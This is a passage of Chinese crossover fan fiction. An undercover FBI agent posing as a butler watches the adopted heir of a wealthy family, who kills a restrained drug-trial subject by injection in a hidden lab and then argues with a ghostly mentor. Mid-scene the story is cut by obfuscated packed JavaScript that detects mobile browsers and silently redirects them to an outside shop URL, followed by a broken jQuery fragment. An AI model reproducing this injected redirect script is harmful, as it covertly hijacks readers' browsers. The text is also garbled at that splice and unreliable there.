女佣很快找回了大约是掉到了坑里的阵喵。

    干干净净的小猫咪身上沾了些尘土和树叶,女佣试图将它清理干净时,阵喵挣扎得厉害。

    这副仿佛清白要被玷污的模样成功把蒙特雷索逗得扑哧一声笑出声来。

    「我来吧。」他对女佣说。

    女佣恭敬地递过阵喵。

    在他怀里的阵喵倒是没疯狂挣扎,只是看起来很是有些生无可恋,被可爱到的蒙特雷索又多rua了几把阵喵,才大发慈悲地把小猫咪如愿放到地上。

    「小少爷,夫人寄过来的东西今天晚上会到。」女佣说。

    蒙特雷索动作微滞,但表情还是很平静,甚至嘴角仍然保持着习惯性的上扬:「好,我知道了。」

    「那么,我先退下了。」女佣鞠躬,很快消失在后花园中。

    蒙特雷索从凯恩手里接过猫零食,平静地蹲下来开始喂猫。

    「凯恩。」他抚摸着吃着猫零食的小猫,神色如常地叫年轻管家的名字。

    「在,小少爷。」赤井秀一回答。

    「你有害怕的东西吗?」蒙特雷索笑着问他。

    -

    对于这个有些突兀的问题,赤井秀一先是迅速在脑子里过了一遍关于“凯恩”这个人的资料,正当他斟酌语言准备给出符合人设的答案时,看着喂猫的少年的表情,却又滞住了。

    某一瞬间,优秀的FBI搜查官确信自己没感觉错,这位经历成谜的厄舍家族的养子,是在问扮演着“凯恩”的自己,而不是凯恩。

    想得太久,对方似乎把他的沉默理解成了警惕,从头到脚都透露着矜贵的小少爷抬起脸,眉眼弯出无害的弧度,轻声说:「你知道我害怕什么吗?我害怕我自己。」

    话里有话,似乎在暗示什么。

    这个宅子里到处都是谜语人,处处透着古怪。

    不只是那些从美国来的女佣们奇奇怪怪,这处宅邸也非常古怪——即使外面的天气再好,只要踏进宅子内部,令人难以忍受的阴郁感就会浮上心头。

    这种阴郁感与厄舍家族对外的形象不太相符——这个在美国难以被撼动的巨富家族,多年来将大量财力投入到慈善事业,既慷慨又低调,享有广泛的美名……当然,并非没有负面新闻,比如数次被告上法庭,原因是家族掌控的弗特纳多制药公司生产的药品有副作用和依赖性,不过这些官司在厄舍家族的势力下自然都不了了之。

    而他之所以出现在这里,是从美国得到的情报,弗特纳多制药公司也许和他所调查的黑衣组织存在着什么牵扯,碰巧这位从不离开美国、没有在公众面前露过面的厄舍家的小少爷不知道因为什么原因来到日本,潜伏在日本的他也就借助这个机会来一探究竟。

    总之,这些先放到一边……盯着眼前少年看似温顺无害的微笑,赤井秀一无语地抽了抽嘴角。

    假设没有那天在花房里的遭遇,他确实可能也会一时被这张假面所欺骗。

    如果说从小就生活在这种氛围中,长成这种性格好像也不奇怪,毕竟环境对人的影响很大。

    「凯恩,你还准备这样盯着我看多久?」

    少年清冽的声音打断赤井秀一的思索,嘴角的弧度由无害转变成了似笑非笑。

    他的小主人抱住一只猫站起来,「你今天真的很不谨慎啊。」

    忽地想起那句奇怪的家规——“不可直视小少爷的脸”,赤井秀一心脏猛地一跳,立即移开视线。

    很奇怪,他绝不是这么不谨慎的人,但与蒙特雷索说话时居然会大意到被带跑思路,难道是……心理暗示?

    思及此,蒙特雷索在他这里的危险程度又上升了一个档次。

    「……抱歉,小少爷。」

    触犯这条家规会有什么结果暂且未知,他可不想给自己的卧底任务带来麻烦,只能开口找补。

    「没关系哦。」蒙特雷索慢条斯理地说:「只要母亲不在这里,就没关系。」

    又是话里有话。

    厄舍家族现在的掌权人之一罗德里克·厄舍虽然有三个亲儿子,但都是私生子,他的婚姻状态一直是未婚,蒙特雷索是罗德里克的养子,“母亲”指的又是谁?难不成是罗德里克的双胞胎妹妹玛德琳·厄舍,厄舍家的另一位掌权人?

    而且这位小少爷明知他不是凯恩,却似是而非地透露这些信息,目的是什么?

    这种没有太阳的阴天,整座厄舍宅邸更显阴郁,秘密潜藏在阴影深处。

    ——没关系,为了我所守护着的一切,我有足够的耐心来一点一点揭开这些秘密。

    赤井秀一想。

    -

    凌晨十二点。

    蒙特雷索悄无声息地走出房门,沿着幽深的走廊走到一扇与整个庄园风格格格不入、十分具有科技感的门前,先用瞳孔解锁、进门,再走了一会儿,接着乘坐电梯来到地下。

    整个地下一反地上的古典装修风格,是一座十分宽敞、现代化的地下实验室。

    他换好实验服,经过无菌室进入到其中一个房间当中——一个被堵住嘴、五花大绑的男人在手术床上呜呜咽咽地挣扎,而白天的那位女佣正一言不发地静静站在手术床旁边。

    蒙特雷索歪了歪头,「玛吉,不是说这位先生是自愿来试药么?这样对待他是不是有些不礼貌了。」

    被称为玛吉的女佣解释:「小少爷,这位先生拿了钱又临时后悔,带着钱跑路时我们费了点劲才将他抓回来。」

    「哦?这样啊。」蒙特雷索笑意盈盈看向手术床上的男人,「您的遭遇真令人感到抱歉,可是先生,答应别人的事就要好好做到才行啊,毕竟开弓没有回头箭嘛。玛吉,先把他嘴上的布条摘下来吧,总得让他在还能说话的时候多说两句,我们的实验一定要有人性关怀才行呢。」

    听到这话,手术床上的男人目眦欲裂:「……」

    玛吉:「是,小少爷。」她解开布条。

    嘴巴得到自由的男人立即开始咒骂:「你们这些疯子,变态!还不赶紧把我放开!否则我一定会起诉你们!」

    「真可惜,」蒙特雷索露出苦恼的表情,「我不能放你走啊。你所参与的实验,是为了绝大部分人的利益而牺牲少部分人的利益,我真的很抱歉你不幸地被分到了这个少部分人里,但是你的所作所为非常崇高,我不会忘记的。」

    男人开始破口大骂:「崇高你X,谁要参与这种非法实验?!我发誓我出去后一定会找律师向联邦法院起诉你们!」

    「可是,没有以后了哦,你也没办法出去了。」

    蒙特雷索略显调皮地吐了吐舌头。

    「好了,玛吉,你出去吧,接下来的工作我可以独自完成。」

    女佣恭敬弯腰,退了出去。

    「那么,接下来就是我们两个人的时间了。」

    男人惊惧交加地看着眼前少年露出的可爱表情,危险雷达疯狂作响,他从愤怒转向哀求:「你……求、求求你了,放过我吧……我还有孩子要照顾,如果我出了什么事,我的孩子们会伤心的……」

    「现在才想起来有孩子需要照顾吗?」蒙特雷索笑出声来,「可是先生,我看过你的资料,你爱喝美式草药、一年大部分时间都泡在拉斯维加斯——你不是想照顾孩子,你只是怕死。」

    无菌器械台上摆放着各类手术器械,蒙特雷索拆开一支注射器,从一瓶只贴了颜色标签的玻璃瓶里抽出几毫升液体。

    「别害怕,先生。」他的声音放轻了一些,「每个人都会死,或早或晚的事情而已,我也会死。死亡不是那么可怕的事情,我试过的哦。」

    男人颤颤巍巍地盯着那支注射器,涕泗横流,「放过我,放过我……求求你……」

    他充耳不闻,只是将注射器的液体慢慢推入作无用挣扎的男人身体里。

    男人挣扎的声音渐轻,「啊……我做鬼、都不会放过你……你这个丧心病狂的杀人犯……」

    「好,我记住了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694496|207964||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    」蒙特雷索看着男人眼中的憎恨与恐惧,回应了这句话:「如果真的能变成厉鬼,就来找我这个杀人犯索命吧。」

    手术床上的男人不再动弹,只余微弱的呼吸。

    「果然……又要失败了吗?」

    他轻轻地叹息了一声。

    「……」

    「你这种对家庭完全不负责任的父亲,死了以后孩子们会伤心吗?未必吧。会觉得轻松也说不定。」

    他忽地自语,像是在回答男人刚刚的话。

    -

    凌晨四点。

    蒙特雷索换下沾满一身药味和血腥味的实验服,穿过地下走廊来到实验室的休息区。

    休息间的风格与地上的宅子倒是比较一致了,他给自己倒了一杯葡萄白兰地,然后斜倚在古董沙发的深处,一口一口的喝酒。

    他喝的这杯亨利四世多贡干邑是法国干邑大香槟区生产的顶级干邑——连瓶身都是珠宝级的艺术品,镶嵌了数千颗钻石。

    它的价格是绝大多数普通人穷尽一生的努力都无力触碰的奢望。

    他在这里喝着这杯数百万美元的干邑,一条走廊之隔的另一个房间里,那个被资本买断的、一无所有的男人的尸体却静静地躺在手术台上。

    此时的走廊不像走廊,倒是更像一条不可逾越的阶级鸿沟。

    ——什么都不拥有的人谈不上人格尊严这种奢侈的东西,他们会在某一天成为它们,变成资本可消耗的物品。

    ——剥削和压迫这种东西在资本至上的国家里从没有消失、反而变本加厉,它套上了民主、自由、人权的外衣,试图去蒙蔽无知者的眼睛。

    蒙特雷索嘲讽地笑了笑,晃悠着手里价值千金的亨利四世多贡干邑——酒很烈,只喝了一会儿,醉意便顺着血液被送上大脑。

    只是,酒的味道还无法彻底冲散无处不在的血腥味,他又点燃一支雪茄,试图盖住那股令他作呕的铁锈味。

    在烟味儿的遮盖下,铁锈味似乎渐淡,可不知由来的尸体的味道又冲击着鼻腔,挥之不散。

    他吸了一口夹在手指间的雪茄,烟雾从唇瓣里散开,悠悠扬扬地慢慢在昏暗的房间里凝聚成了一个人形。

    蒙特雷索怔了怔。

    “……你要好好运用自己的天赋,去为人类创造更好的未来。”

    那道看不清脸的人形烟雾轻轻地开口。

    这道声音穿越时间和空间,似是在房间响起,又似是在脑海里响起,蒙特雷索习惯性上扬的嘴角压了下来。

    “未来?我看不到这种世界能有什么未来。”他几乎是咬牙切齿地从齿缝间挤出这句话。

    那道人形烟雾不说话了。

    “怎么,我说得不对么?”

    “……”

    “……不要总是出现在我眼前啊。”

    “也不要理所当然地说着这种冠冕堂皇的话。”

    “……很恶心,让我想吐。”

    那人形明明没有五官,蒙特雷索却觉得质问的目光如有实质地落在自己身上。

    “……”

    “织田老师……别这样看我。”

    他狼狈地撇开视线。

    “既然这么大公无私,为什么当初不告而别——还是随便地把我抛下了,救人就该救到底才对啊。”

    他渐渐控制不住自己起伏的情绪。

    “……真是一个伪善者。”

    “这个世界多是道貌岸然、佯装磊落的伪善者。每天带着面具生活,最后把自己也给骗了。你也是吧,织田老师?”

    “……我讨厌你。”

    “你这个骗子。”

    “哈,但我也是个骗子,刚刚我也骗了那个男人……死亡的过程其实很痛苦啊。你知道窒息而死是什么感觉吗?”

    蒙特雷索将燃烧着的雪茄死死地捏进了掌心,钻心的灼痛令他勉强找回自己即将崩断的神志。

    “我体会过,至今都忘不了。”

    他说。